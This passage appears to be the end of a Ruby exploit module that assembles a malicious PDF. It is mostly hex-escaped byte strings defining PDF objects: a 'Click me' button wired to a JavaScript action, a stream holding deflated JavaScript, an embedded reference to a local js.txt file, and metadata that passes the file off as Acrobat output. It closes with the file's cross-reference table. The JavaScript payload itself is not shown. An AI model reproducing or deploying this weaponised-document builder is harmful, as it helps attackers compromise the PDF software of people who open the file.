8\x9a\xf1\xdc\x8c\x6b\xe6\x63\x26\x35\x53\x98\xb5\x99\x8d\x98\x1d\x36\xbb\x6c\xf6\x98\x49\x61\xba\x32\x63\x98\x4b\x99\x4d\xcc\x41\xe6\x21\xe6\x45\xe6\x23\x16\x85\xe5\xc6\x92\xb0\x64\xac\x56\xd6\x8\xeb\x28\xeb\x6\x6b\x96\xcd\x65\x8b\xd8\xe9\x6c\xd\xbb\x97\xbd\x87\x7d\x8e\x7d\x9f\x43\xe2\xb8\x71\xe2\x39\xd\x4e\x27\xe7\x3\xce\x29\xce\x5d\x2e\xc2\x75\xe6\x4a\xb8\x72\xee\xd\xee\x18\xf7\xc\x77\x9a\x47\xe4\x9\x78\x52\x5e\x5\xaf\x87\xf7\x5b\xde\x4\x6f\xc6\x9c\x63\x1e\x68\x9e\x67\xde\x60\x3e\x62\xfe\x89\xf9\x24\x1f\xe1\xbb\xf1\xa5\xfc\x2a\x7e\x1f\xff\x20\xff\x3a\xff\xa5\x85\x9d\x45\x8c\x85\xd2\x62\x8d\xc5\x7e\x8b\xcb\x16\xcf\x2c\x6d\x2c\xa3\x2d\x95\x96\xdd\x96\x7\x2c\xaf\x59\xbe\xb4\xc2\xac\xe2\xad\x2a\xad\x36\x58\x8d\x5b\xdd\xb1\x46\xad\x3d\xad\x33\xad\xeb\xad\xb7\x59\x9f\xb1\x7e\x64\xc3\xb3\x9\xb7\x91\xdb\x74\xdb\x1c\xb4\xb9\x69\xb\xdb\x7a\xda\x66\xd9\x36\xdb\x7e\x60\x7b\xc1\x76\xd6\xce\xde\x2e\xd1\x4e\x67\xb7\xc5\xee\x94\xdd\x23\x7b\xbe\x7d\xb4\x7d\x85\xfd\x80\xfd\xa7\xf6\xf\x1c\xb8\xe\x91\xe\x6a\x87\x1\x87\xcf\x1c\xfe\x8a\x99\x63\x31\x58\x15\x36\x84\x9d\xc6\x66\x1c\x6d\x1d\x93\x1c\x8d\x8e\x3b\x1c\x27\x1c\x5f\x39\x9\x9c\x72\x9d\x3a\x9c\xe\x38\xdd\x71\xa6\x3a\x8b\x9d\xcb\x9c\x7\x9c\x4f\x3a\xcf\xb8\x38\xb8\xa4\xb9\xb4\xb8\xec\x75\xb9\xe9\x4a\x71\x15\xbb\x96\xbb\x6e\x76\x3d\xeb\xfa\xcc\x4d\xe0\x96\xef\xb6\xca\x6d\xdc\xed\xbe\xc0\x52\x20\x15\x34\x9\xf6\xd\x6e\xbb\x33\xdc\xa3\xdc\x6b\xdc\x47\xdd\xaf\x7a\x10\x3d\xc4\x1e\x95\x1e\x5b\x3d\xbe\xf4\x84\x3d\x83\x3c\xcb\x3d\x47\x3c\x2f\x7a\xc1\x5e\xc1\x5e\x6a\xaf\xad\x5e\x97\xbc\x9\xde\xa1\xde\x5a\xef\x51\xef\x1b\x42\xba\x30\x46\x58\x27\xdc\x2b\x9c\xf2\xe1\xfb\xa4\xfa\x74\xf8\x8c\xfb\x3c\xf6\x75\xf1\x2d\xf4\xdd\xe0\x7b\xd6\xf7\xb5\x5f\x90\x5f\x95\xdf\x98\xdf\x2d\x11\x47\x94\x2c\xea\x10\x1d\x13\x7d\xe7\xef\xe9\x2f\xf7\x1f\xf1\xbf\x1a\xc0\x8\x48\x8\x68\xb\x38\x12\xf0\x6d\xa0\x57\xa0\x32\x70\x5b\xe0\x9f\x83\xb8\x41\x69\x41\xab\x82\x4e\x6\xfd\x23\x38\x24\x58\x1f\xbc\x3f\xf8\x41\x88\x4b\x48\x49\xc8\x7b\x21\x37\xc4\x3c\x71\x86\xb8\x57\xfc\x79\x28\x21\x34\x36\xb4\x2d\xf4\xe3\xd0\x17\x61\xc1\x61\x86\xb0\x83\x61\x7f\xf\x17\x86\x57\x86\xef\x9\xbf\xbf\x40\xb0\x40\xb9\x60\x6c\xc1\xdd\x8\xa7\x8\x59\xc4\x8e\x88\xc9\x48\x2c\xb2\x24\xf2\xfd\xc8\xc9\x28\xc7\x28\x59\xd4\x68\xd4\x37\xd1\xce\xd1\x8a\xe8\x9d\xd1\xf7\x62\x3c\x62\x2a\x62\xf6\xc5\x3c\x8e\xf5\x8b\xd5\xc7\x7e\x14\xfb\x4c\x12\x26\x59\x26\x39\x1e\x87\xc4\x25\xc6\x75\xc7\x4d\xc4\x73\xe2\x73\xe3\x87\xe3\xbf\x4e\x70\x4a\x50\x25\xec\x4d\x98\x49\xc\x4a\x6c\x4e\x3c\x9e\x44\x48\x4a\x49\xda\x90\x74\x43\x6a\x27\x95\x4b\x77\x4b\x67\x92\x43\x92\x97\x25\x9f\x4e\xa1\xa7\x64\xa7\xc\xa7\x7c\x93\xea\x99\xaa\x4f\x3d\x96\x6\xa7\x25\xa7\x6d\x4c\xbb\xbd\xd0\x75\xa1\x76\xe1\x78\x3a\x48\x97\xa6\x6f\x4c\xbf\x93\x21\xc8\xa8\xc9\xf8\x43\x26\x31\x33\x23\x73\x24\xf3\x2f\x59\xa2\xac\x96\xac\xb3\xd9\xdc\xec\xe2\xec\x3d\xd9\x4f\x73\x62\x73\xfa\x72\x6e\xe5\xba\xe7\x1a\x73\x4f\xe6\x31\xf3\x8a\xf2\x76\xe7\x3d\xcb\x8f\xcb\xef\xcf\x9f\x5c\xe4\xbb\x68\xd9\xa2\xf3\x5\xd6\x5\xea\x82\x23\x85\xa4\xc2\xbc\xc2\x9d\x85\xb3\x8b\xe3\x17\x6f\x5a\x3c\x5d\x14\x54\xd4\x55\x74\x7d\x89\x60\x49\xc3\x92\x73\x4b\xad\x97\x56\x2d\xfd\xa4\x98\x59\x2c\x2b\x3e\x54\x42\x28\xc9\x2f\xd9\x53\xf2\x83\x2c\x5d\x36\x2a\x9b\x2d\x95\x96\xbe\x57\x3a\x23\x97\xc8\x37\xcb\x1f\x2a\xa2\x15\x3\x8a\x7\xca\x8\x65\xbf\xf2\x5e\x59\x44\x59\x7f\xd9\x7d\x55\x84\x6a\xa3\xea\x41\x79\x54\xf9\x60\xf9\x23\xb5\x44\x3d\xac\xfe\xb6\x22\xa9\x62\x7b\xc5\xb3\xca\xf4\xca\xf\x2b\x7f\xac\xca\xaf\x3a\xa0\x21\x6b\x4a\x34\x47\xb5\x1c\x6d\xa5\xf6\x74\xb5\x7d\x75\x43\xf5\x25\x9d\x97\xae\x4b\x37\x59\x13\x56\xb3\xa9\x66\x46\x9f\xa2\xdf\x59\xb\xd5\x2e\xa9\x3d\x62\xe0\xe1\x3f\x53\x17\x8c\xee\xc6\x95\xc6\xa9\xba\xc8\xba\x91\xba\xe7\xf5\x79\xf5\x87\x1a\xd8\xd\xda\x86\xb\x8d\x9e\x8d\x6b\x1a\xef\x35\x25\x34\xfd\xa6\x19\x6d\x96\x37\x9f\x6c\x71\x6c\x69\x6f\x99\x5a\x16\xb3\x6c\x47\x2b\xd4\x5a\xda\x7a\xb2\xcd\xb9\xad\xb3\x6d\x7a\x79\xe2\xf2\x5d\xed\xd4\xf6\xca\xf6\x3f\x75\xf8\x75\xf4\x77\x7c\xbf\x22\x7f\xc5\xb1\x4e\xbb\xce\xe5\x9d\x77\x57\x26\xae\xdc\xdb\x65\xd6\xa5\xef\xba\xb1\x2a\x7c\xd5\xf6\xd5\xe8\x6a\xf5\xea\x89\x35\x1\x6b\xb6\xac\x79\xdd\xad\xe8\xfe\xa2\xc7\xaf\x67\xb0\xe7\x87\x5e\x79\xef\x17\x6b\x45\x6b\x87\xd6\xfe\xb8\xae\x6c\xdd\x44\x5f\x70\xdf\xb6\xf5\xc4\xf5\xda\xf5\xd7\x37\x44\x6d\xd8\xd5\xcf\xee\x6f\xea\xbf\xbb\x31\x6d\xe3\xe1\x1\x6c\xa0\x7b\xe0\xfb\x4d\xc5\x9b\xce\xd\x6\xe\x6e\xdf\x4c\xdd\x6c\xdc\x3c\x39\x94\xfa\x4f\x0\xa4\x1\x5b\xfe\x98\xb8\x99\x24\x99\x90\x99\xfc\x9a\x68\x9a\xd5\x9b\x42\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9d\x64\x9d\xd2\x9e\x40\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0\x69\xa0\xd8\xa1\x47\xa1\xb6\xa2\x26\xa2\x96\xa3\x6\xa3\x76\xa3\xe6\xa4\x56\xa4\xc7\xa5\x38\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7\x6e\xa7\xe0\xa8\x52\xa8\xc4\xa9\x37\xa9\xa9\xaa\x1c\xaa\x8f\xab\x2\xab\x75\xab\xe9\xac\x5c\xac\xd0\xad\x44\xad\xb8\xae\x2d\xae\xa1\xaf\x16\xaf\x8b\xb0\x0\xb0\x75\xb0\xea\xb1\x60\xb1\xd6\xb2\x4b\xb2\xc2\xb3\x38\xb3\xae\xb4\x25\xb4\x9c\xb5\x13\xb5\x8a\xb6\x1\xb6\x79\xb6\xf0\xb7\x68\xb7\xe0\xb8\x59\xb8\xd1\xb9\x4a\xb9\xc2\xba\x3b\xba\xb5\xbb\x2e\xbb\xa7\xbc\x21\xbc\x9b\xbd\x15\xbd\x8f\xbe\xd\xbe\x84\xbe\xff\xbf\x7a\xbf\xf5\xc0\x70\xc0\xec\xc1\x67\xc1\xe3\xc2\x5f\xc2\xdb\xc3\x58\xc3\xd4\xc4\x51\xc4\xce\xc5\x4b\xc5\xc8\xc6\x46\xc6\xc3\xc7\x41\xc7\xbf\xc8\x3d\xc8\xbc\xc9\x3a\xc9\xb9\xca\x38\xca\xb7\xcb\x36\xcb\xb6\xcc\x35\xcc\xb5\xcd\x35\xcd\xb5\xce\x36\xce\xb6\xcf\x37\xcf\xb8\xd0\x39\xd0\xba\xd1\x3c\xd1\xbe\xd2\x3f\xd2\xc1\xd3\x44\xd3\xc6\xd4\x49\xd4\xcb\xd5\x4e\xd5\xd1\xd6\x55\xd6\xd8\xd7\x5c\xd7\xe0\xd8\x64\xd8\xe8\xd9\x6c\xd9\xf1\xda\x76\xda\xfb\xdb\x80\xdc\x5\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf\x29\xdf\xaf\xe0\x36\xe0\xbd\xe1\x44\xe1\xcc\xe2\x53\xe2\xdb\xe3\x63\xe3\xeb\xe4\x73\xe4\xfc\xe5\x84\xe6\xd\xe6\x96\xe7\x1f\xe7\xa9\xe8\x32\xe8\xbc\xe9\x46\xe9\xd0\xea\x5b\xea\xe5\xeb\x70\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee\x28\xee\xb4\xef\x40\xef\xcc\xf0\x58\xf0\xe5\xf1\x72\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf4\x34\xf4\xc2\xf5\x50\xf5\xde\xf6\x6d\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf9\x38\xf9\xc7\xfa\x57\xfa\xe7\xfb\x77\xfc\x7\xfc\x98\xfd\x29\xfd\xba\xfe\x4b\xfe\xdc\xff\x6d\xff\xff\x2\xc\x0\xf7\x84\xf3\xfb\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + add_object(38, "\xd\x3c\x3c\x2f\x41\x20\x34\x33\x20\x30\x20\x52\x2f\x41\x50\x3c\x3c\x2f\x4e\x20\x35\x31\x20\x30\x20\x52\x3e\x3e\x2f\x44\x41\x28\x2f\x48\x65\x42\x6f\x20\x31\x32\x20\x54\x66\x20\x30\x20\x67\x29\x2f\x46\x20\x34\x2f\x46\x54\x2f\x42\x74\x6e\x2f\x46\x66\x20\x36\x35\x35\x33\x36\x2f\x4d\x4b\x3c\x3c\x2f\x42\x47\x5b\x31\x2e\x30\x20\x31\x2e\x30\x20\x31\x2e\x30\x5d\x2f\x43\x41\x28\x43\x6c\x69\x63\x6b\x20\x6d\x65\x29\x2f\x54\x50\x20\x31\x3e\x3e\x2f\x50\x20\x32\x36\x20\x30\x20\x52\x2f\x52\x65\x63\x74\x5b\x30\x2e\x30\x20\x30\x2e\x36\x31\x34\x38\x36\x38\x20\x36\x31\x31\x2e\x33\x38\x34\x20\x37\x39\x32\x2e\x30\x5d\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x57\x69\x64\x67\x65\x74\x2f\x54\x28\x62\x74\x6e\x43\x6c\x69\x63\x6b\x4d\x65\x29\x2f\x54\x55\x28\x43\x6c\x69\x63\x6b\x20\x6d\x65\x29\x2f\x54\x79\x70\x65\x2f\x41\x6e\x6e\x6f\x74\x3e\x3e\xd") + add_object(43, "\xd\x3c\x3c\x2f\x4a\x53\x20\x34\x36\x20\x30\x20\x52\x2f\x53\x2f\x4a\x61\x76\x61\x53\x63\x72\x69\x70\x74\x3e\x3e\xd") + add_object(51, "\xd\x3c\x3c\x2f\x42\x42\x6f\x78\x5b\x30\x2e\x30\x20\x30\x2e\x30\x20\x36\x31\x31\x2e\x33\x38\x34\x20\x37\x39\x31\x2e\x33\x38\x35\x5d\x2f\x46\x6f\x72\x6d\x54\x79\x70\x65\x20\x31\x2f\x4c\x65\x6e\x67\x74\x68\x20\x36\x34\x2f\x4d\x61\x74\x72\x69\x78\x5b\x31\x2e\x30\x20\x30\x2e\x30\x20\x30\x2e\x30\x20\x31\x2e\x30\x20\x30\x2e\x30\x20\x30\x2e\x30\x5d\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x73\x3c\x3c\x2f\x50\x72\x6f\x63\x53\x65\x74\x5b\x2f\x50\x44\x46\x5d\x3e\x3e\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x46\x6f\x72\x6d\x2f\x54\x79\x70\x65\x2f\x58\x4f\x62\x6a\x65\x63\x74\x3e\x3e\x73\x74\x72\x65\x61\x6d\xd\x31\x20\x67\xd\x30\x20\x30\x20\x36\x31\x31\x2e\x33\x38\x33\x38\x20\x37\x39\x31\x2e\x33\x38\x35\x31\x20\x72\x65\xd\x66\xd\x71\xd\x31\x20\x31\x20\x36\x30\x39\x2e\x33\x38\x33\x38\x20\x37\x38\x39\x2e\x33\x38\x35\x31\x20\x72\x65\xd\x57\xd\x6e\xd\x51\xd\x65\x6e\x64\x73\x74\x72\x65\x61\x6d\xd") + + js = Zlib::Deflate.deflate(js) + add_object(46, "\x0d<>stream\x0d#{js}\x0dendstream\x0d") + + add_object(8, "\xd\x3c\x3c\x2f\x43\x6f\x75\x6e\x74\x20\x31\x2f\x46\x69\x72\x73\x74\x20\x39\x20\x30\x20\x52\x2f\x4c\x61\x73\x74\x20\x39\x20\x30\x20\x52\x2f\x50\x61\x72\x65\x6e\x74\x20\x37\x20\x30\x20\x52\x2f\x54\x69\x74\x6c\x65\x28\x4c\x6f\x63\x61\x6c\x20\x44\x69\x73\x6b\x29\x3e\x3e\xd") + add_object(9, "\xd\x3c\x3c\x2f\x44\x65\x73\x74\x5b\x32\x36\x20\x30\x20\x52\x2f\x58\x59\x5a\x20\x30\x20\x37\x39\x32\x20\x6e\x75\x6c\x6c\x5d\x2f\x50\x61\x72\x65\x6e\x74\x20\x38\x20\x30\x20\x52\x2f\x53\x45\x20\x31\x35\x20\x30\x20\x52\x2f\x54\x69\x74\x6c\x65\x28\xfe\xff\x0\x6a\x0\x73\x0\x2e\x0\x74\x0\x78\x0\x74\x29\x3e\x3e\xd") + add_object(17, "\xd\x3c\x3c\x2f\x4e\x61\x6d\x65\x73\x5b\x33\x35\x20\x30\x20\x52\x20\x32\x30\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(18, "\xd\x3c\x3c\x2f\x4e\x61\x6d\x65\x73\x5b\x31\x39\x20\x30\x20\x52\x20\x32\x30\x20\x30\x20\x52\x5d\x3e\x3e\xd") + add_object(19, "\xd\x28\x66\x69\x6c\x65\x3a\x2f\x2f\x2f\x43\x7c\x2f\x74\x65\x6d\x70\x2f\x6a\x73\x2e\x74\x78\x74\x29\xd") + add_object(20, "\xd\x3c\x3c\x2f\x43\x54\x28\x74\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x29\x2f\x49\x44\x20\x33\x35\x20\x30\x20\x52\x2f\x4f\x5b\x32\x36\x20\x30\x20\x52\x5d\x2f\x53\x2f\x53\x50\x53\x2f\x53\x49\x20\x32\x31\x20\x30\x20\x52\x2f\x54\x28\xfe\xff\x0\x6a\x0\x73\x0\x2e\x0\x74\x0\x78\x0\x74\x29\x2f\x54\x53\x28\x44\x3a\x32\x30\x31\x34\x30\x33\x33\x31\x31\x31\x33\x35\x35\x32\x5a\x29\x3e\x3e\xd") + add_object(21, "\xd\x3c\x3c\x2f\x41\x55\x20\x31\x39\x20\x30\x20\x52\x2f\x54\x53\x28\x44\x3a\x32\x30\x31\x34\x30\x33\x33\x31\x31\x31\x33\x35\x35\x32\x5a\x29\x3e\x3e\xd") + add_object(39, "\xd\x3c\x3c\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2d\x42\x6f\x6c\x64\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x34\x35\x20\x30\x20\x52\x2f\x4e\x61\x6d\x65\x2f\x48\x65\x42\x6f\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x54\x79\x70\x65\x31\x2f\x54\x79\x70\x65\x2f\x46\x6f\x6e\x74\x3e\x3e\xd") + add_object(47, "\xd\x3c\x3c\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x34\x35\x20\x30\x20\x52\x2f\x4e\x61\x6d\x65\x2f\x48\x65\x6c\x76\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x54\x79\x70\x65\x31\x2f\x54\x79\x70\x65\x2f\x46\x6f\x6e\x74\x3e\x3e\xd") + add_object(48, "\xd\x3c\x3c\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x2f\x5a\x61\x70\x66\x44\x69\x6e\x67\x62\x61\x74\x73\x2f\x4e\x61\x6d\x65\x2f\x5a\x61\x44\x62\x2f\x53\x75\x62\x74\x79\x70\x65\x2f\x54\x79\x70\x65\x31\x2f\x54\x79\x70\x65\x2f\x46\x6f\x6e\x74\x3e\x3e\xd") + add_object(45, "\xd\x3c\x3c\x2f\x44\x69\x66\x66\x65\x72\x65\x6e\x63\x65\x73\x5b\x32\x34\x2f\x62\x72\x65\x76\x65\x2f\x63\x61\x72\x6f\x6e\x2f\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x64\x6f\x74\x61\x63\x63\x65\x6e\x74\x2f\x68\x75\x6e\x67\x61\x72\x75\x6d\x6c\x61\x75\x74\x2f\x6f\x67\x6f\x6e\x65\x6b\x2f\x72\x69\x6e\x67\x2f\x74\x69\x6c\x64\x65\x20\x33\x39\x2f\x71\x75\x6f\x74\x65\x73\x69\x6e\x67\x6c\x65\x20\x39\x36\x2f\x67\x72\x61\x76\x65\x20\x31\x32\x38\x2f\x62\x75\x6c\x6c\x65\x74\x2f\x64\x61\x67\x67\x65\x72\x2f\x64\x61\x67\x67\x65\x72\x64\x62\x6c\x2f\x65\x6c\x6c\x69\x70\x73\x69\x73\x2f\x65\x6d\x64\x61\x73\x68\x2f\x65\x6e\x64\x61\x73\x68\x2f\x66\x6c\x6f\x72\x69\x6e\x2f\x66\x72\x61\x63\x74\x69\x6f\x6e\x2f\x67\x75\x69\x6c\x73\x69\x6e\x67\x6c\x6c\x65\x66\x74\x2f\x67\x75\x69\x6c\x73\x69\x6e\x67\x6c\x72\x69\x67\x68\x74\x2f\x6d\x69\x6e\x75\x73\x2f\x70\x65\x72\x74\x68\x6f\x75\x73\x61\x6e\x64\x2f\x71\x75\x6f\x74\x65\x64\x62\x6c\x62\x61\x73\x65\x2f\x71\x75\x6f\x74\x65\x64\x62\x6c\x6c\x65\x66\x74\x2f\x71\x75\x6f\x74\x65\x64\x62\x6c\x72\x69\x67\x68\x74\x2f\x71\x75\x6f\x74\x65\x6c\x65\x66\x74\x2f\x71\x75\x6f\x74\x65\x72\x69\x67\x68\x74\x2f\x71\x75\x6f\x74\x65\x73\x69\x6e\x67\x6c\x62\x61\x73\x65\x2f\x74\x72\x61\x64\x65\x6d\x61\x72\x6b\x2f\x66\x69\x2f\x66\x6c\x2f\x4c\x73\x6c\x61\x73\x68\x2f\x4f\x45\x2f\x53\x63\x61\x72\x6f\x6e\x2f\x59\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x5a\x63\x61\x72\x6f\x6e\x2f\x64\x6f\x74\x6c\x65\x73\x73\x69\x2f\x6c\x73\x6c\x61\x73\x68\x2f\x6f\x65\x2f\x73\x63\x61\x72\x6f\x6e\x2f\x7a\x63\x61\x72\x6f\x6e\x20\x31\x36\x30\x2f\x45\x75\x72\x6f\x20\x31\x36\x34\x2f\x63\x75\x72\x72\x65\x6e\x63\x79\x20\x31\x36\x36\x2f\x62\x72\x6f\x6b\x65\x6e\x62\x61\x72\x20\x31\x36\x38\x2f\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x63\x6f\x70\x79\x72\x69\x67\x68\x74\x2f\x6f\x72\x64\x66\x65\x6d\x69\x6e\x69\x6e\x65\x20\x31\x37\x32\x2f\x6c\x6f\x67\x69\x63\x61\x6c\x6e\x6f\x74\x2f\x2e\x6e\x6f\x74\x64\x65\x66\x2f\x72\x65\x67\x69\x73\x74\x65\x72\x65\x64\x2f\x6d\x61\x63\x72\x6f\x6e\x2f\x64\x65\x67\x72\x65\x65\x2f\x70\x6c\x75\x73\x6d\x69\x6e\x75\x73\x2f\x74\x77\x6f\x73\x75\x70\x65\x72\x69\x6f\x72\x2f\x74\x68\x72\x65\x65\x73\x75\x70\x65\x72\x69\x6f\x72\x2f\x61\x63\x75\x74\x65\x2f\x6d\x75\x20\x31\x38\x33\x2f\x70\x65\x72\x69\x6f\x64\x63\x65\x6e\x74\x65\x72\x65\x64\x2f\x63\x65\x64\x69\x6c\x6c\x61\x2f\x6f\x6e\x65\x73\x75\x70\x65\x72\x69\x6f\x72\x2f\x6f\x72\x64\x6d\x61\x73\x63\x75\x6c\x69\x6e\x65\x20\x31\x38\x38\x2f\x6f\x6e\x65\x71\x75\x61\x72\x74\x65\x72\x2f\x6f\x6e\x65\x68\x61\x6c\x66\x2f\x74\x68\x72\x65\x65\x71\x75\x61\x72\x74\x65\x72\x73\x20\x31\x39\x32\x2f\x41\x67\x72\x61\x76\x65\x2f\x41\x61\x63\x75\x74\x65\x2f\x41\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x41\x74\x69\x6c\x64\x65\x2f\x41\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x41\x72\x69\x6e\x67\x2f\x41\x45\x2f\x43\x63\x65\x64\x69\x6c\x6c\x61\x2f\x45\x67\x72\x61\x76\x65\x2f\x45\x61\x63\x75\x74\x65\x2f\x45\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x45\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x49\x67\x72\x61\x76\x65\x2f\x49\x61\x63\x75\x74\x65\x2f\x49\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x49\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x45\x74\x68\x2f\x4e\x74\x69\x6c\x64\x65\x2f\x4f\x67\x72\x61\x76\x65\x2f\x4f\x61\x63\x75\x74\x65\x2f\x4f\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x4f\x74\x69\x6c\x64\x65\x2f\x4f\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x6d\x75\x6c\x74\x69\x70\x6c\x79\x2f\x4f\x73\x6c\x61\x73\x68\x2f\x55\x67\x72\x61\x76\x65\x2f\x55\x61\x63\x75\x74\x65\x2f\x55\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x55\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x59\x61\x63\x75\x74\x65\x2f\x54\x68\x6f\x72\x6e\x2f\x67\x65\x72\x6d\x61\x6e\x64\x62\x6c\x73\x2f\x61\x67\x72\x61\x76\x65\x2f\x61\x61\x63\x75\x74\x65\x2f\x61\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x61\x74\x69\x6c\x64\x65\x2f\x61\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x61\x72\x69\x6e\x67\x2f\x61\x65\x2f\x63\x63\x65\x64\x69\x6c\x6c\x61\x2f\x65\x67\x72\x61\x76\x65\x2f\x65\x61\x63\x75\x74\x65\x2f\x65\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x65\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x69\x67\x72\x61\x76\x65\x2f\x69\x61\x63\x75\x74\x65\x2f\x69\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x69\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x65\x74\x68\x2f\x6e\x74\x69\x6c\x64\x65\x2f\x6f\x67\x72\x61\x76\x65\x2f\x6f\x61\x63\x75\x74\x65\x2f\x6f\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x6f\x74\x69\x6c\x64\x65\x2f\x6f\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x64\x69\x76\x69\x64\x65\x2f\x6f\x73\x6c\x61\x73\x68\x2f\x75\x67\x72\x61\x76\x65\x2f\x75\x61\x63\x75\x74\x65\x2f\x75\x63\x69\x72\x63\x75\x6d\x66\x6c\x65\x78\x2f\x75\x64\x69\x65\x72\x65\x73\x69\x73\x2f\x79\x61\x63\x75\x74\x65\x2f\x74\x68\x6f\x72\x6e\x2f\x79\x64\x69\x65\x72\x65\x73\x69\x73\x5d\x2f\x54\x79\x70\x65\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3e\x3e\xd") + add_object(23, "\xd\x3c\x3c\x2f\x43\x72\x65\x61\x74\x69\x6f\x6e\x44\x61\x74\x65\x28\x44\x3a\x32\x30\x31\x34\x30\x33\x33\x31\x31\x33\x33\x35\x35\x31\x2b\x30\x32\x27\x30\x30\x27\x29\x2f\x43\x72\x65\x61\x74\x6f\x72\x28\x41\x64\x6f\x62\x65\x20\x41\x63\x72\x6f\x62\x61\x74\x20\x31\x31\x2e\x30\x29\x2f\x4d\x6f\x64\x44\x61\x74\x65\x28\x44\x3a\x32\x30\x31\x34\x30\x35\x33\x31\x31\x32\x31\x34\x32\x36\x2d\x30\x35\x27\x30\x30\x27\x29\x2f\x50\x72\x6f\x64\x75\x63\x65\x72\x28\x41\x63\x72\x6f\x62\x61\x74\x20\x57\x65\x62\x20\x43\x61\x70\x74\x75\x72\x65\x20\x31\x31\x2e\x30\x29\x2f\x54\x69\x74\x6c\x65\x28\x6a\x73\x2e\x74\x78\x74\x29\x3e\x3e\xd") + + @xref_offset = @pdf.length + @pdf << xref_table << trailer(25, eol) << startxref + + @pdf + end + +end